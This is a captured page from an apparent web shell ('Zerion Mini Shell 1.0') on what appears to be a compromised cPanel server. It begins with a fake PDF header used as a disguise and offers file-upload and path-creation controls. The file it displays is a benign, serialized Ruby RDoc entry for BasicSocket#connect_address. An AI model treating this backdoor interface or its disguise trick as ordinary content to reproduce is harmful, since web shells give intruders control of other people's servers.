%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/BasicSocket/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/BasicSocket/connect_address-i.ri

U:RDoc::AnyMethod[iI"connect_address:EFI" BasicSocket#connect_address;TF:publico:RDoc::Markup::Document:@parts[
o:RDoc::Markup::Paragraph;	[I"PReturns an address of the socket suitable for connect in the local machine.;To:RDoc::Markup::BlankLineo;
;	[I"JThis method returns _self_.local_address, except following condition.;T@o:RDoc::Markup::List:
@type:BULLET:@items[o:RDoc::Markup::ListItem:@label0;	[o;
;	[I"YIPv4 unspecified address (0.0.0.0) is replaced by IPv4 loopback address (127.0.0.1).;To;;0;	[o;
;	[I"NIPv6 unspecified address (::) is replaced by IPv6 loopback address (::1).;T@o;
;	[I"NIf the local address is not suitable for connect, SocketError is raised. ;TI"HIPv4 and IPv6 address which port is 0 is not suitable for connect. ;TI"FUnix domain socket which has no path is not suitable for connect.;T@o:RDoc::Markup::Verbatim;	[I"/Addrinfo.tcp("0.0.0.0", 0).listen {|serv|
;TI"C  p serv.connect_address #=> #<Addrinfo: 127.0.0.1:53660 TCP>
;TI")  serv.connect_address.connect {|c|
;TI"    s, _ = serv.accept
;TI"7    p [c, s] #=> [#<Socket:fd 4>, #<Socket:fd 6>]
;TI"	  }
;TI"};T:@format0:
@fileI"ext/socket/lib/socket.rb;T:0@omit_headings_from_table_of_contents_below000[I"();T@,FI"BasicSocket;TcRDoc::NormalClass00

Zerion Mini Shell 1.0